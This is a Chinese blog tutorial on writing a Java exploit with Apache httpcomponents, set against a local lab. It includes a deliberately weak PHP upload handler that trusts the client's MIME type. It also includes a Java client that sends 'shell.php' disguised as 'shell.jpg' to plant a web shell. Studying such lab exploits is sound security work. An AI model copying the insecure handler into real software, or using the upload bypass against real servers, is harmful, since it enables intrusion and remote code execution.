JAVA-Exploit编写(3)--httpcomponents库使用文件上传

目录

1.依赖安装

[2. upload文件代码](#2. upload文件代码)

3.文件上传代码


1.依赖安装

文件上传处需要使用httpcomponents库,需要在Maven的pom.xml文件中导入依赖

java 复制代码
<dependency>
      <groupId>org.apache.httpcomponents</groupId>
      <artifactId>httpmime</artifactId>
      <version>4.5.8</version>
</dependency>

2. upload文件代码

php 复制代码
<?php
if (($_FILES["file"]["type"] == "image/gif" || $_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "image/png") && $_FILES["file"]["size"] < 20000) {
    if ($_FILES["file"]["error"] > 0) {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    } else {
        if (file_exists("uploads/" . $_FILES["file"]["name"])) {
            echo $_FILES["file"]["name"] . " already exists. ";
        } else {
            move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);
            echo "Stored in: " . "uploads/" . $_FILES["file"]["name"];
        }
    }
} else {
    echo "Invalid file";
}
?>

3.文件上传代码

还是在之前的基础上,增加了一个文件上传的文件类,请求方式通过POST方式,使用try-catch处理异常.

java 复制代码
package com.deger;

import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ContentType;
import org.apache.http.entity.mime.MultipartEntityBuilder;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;

import java.io.File;
import java.io.IOException;

public class HttpClientUpload {
    public static void main(String[] args){
        System.out.println(DoUpload("http://127.0.0.1/upload.php"));
    }
    public static String DoUpload(String url){
        String res = null;
        CloseableHttpClient httpClient = null;
        CloseableHttpResponse response = null;

        httpClient = HttpClients.createDefault();
        //上传的文件的本地路径
        File file = new File("D:\\phpstudy_pro\\WWW\\shell.php");
        MultipartEntityBuilder builder = MultipartEntityBuilder.create();
//        builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), file.getName()));
        //更改上传文件的名称
        builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), "shell.jpg"));

        HttpPost httpPost = new HttpPost(url);
        httpPost.setEntity(builder.build());
        try {
            response = httpClient.execute(httpPost);
            if (response.getStatusLine().getStatusCode() == 200) {
                res = EntityUtils.toString(response.getEntity());
            }
        } catch (IOException e) {
            throw new RuntimeException(e);
        }finally {
            try {
                httpClient.close();
                response.close();
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
        return res;
    }
}
相关推荐
念何架构之路40 分钟前
Go reflect 包:结构体反射 —Field、Tag 与 VisibleFields
java·数据库·golang
liangbo71 小时前
03-JDK 10/11 局部变量推断与 LTS:var 到底该怎么用
java
Percep_gan2 小时前
调用天翼云的对象存储ZOS,很详细
java·1024程序员节
若亦_2 小时前
数据结构>>优先级队列(堆)
java·数据结构
Wang's Blog2 小时前
Java 项目实战: 交友项目 - 查询圈子个人动态:查询我的动态需求分析
java·开发语言·交友
denlaku2 小时前
JDK 23 新特性详解
java
code2cat2 小时前
Java高级篇之Hibernate:让对象映射到表,理解持久化与事务
java·后端·hibernate·1024程序员节
骑着蜗牛撵大象3273 小时前
飞牛fnOS部署Damselfly:Compose编排、照片目录与7100固定访问
java·docker·rpc·dubbo·fnos·照片管理·damselfly
金銀銅鐵4 小时前
[Java] 用 CLI 展示 EnumSet 增减元素时的内部变化(下)
java·后端·ai编程
Nuanyt4 小时前
Hot 100 刷题笔记 · 数组与哈希专题(3 题)
java·笔记·算法·leetcode·哈希算法·1024程序员节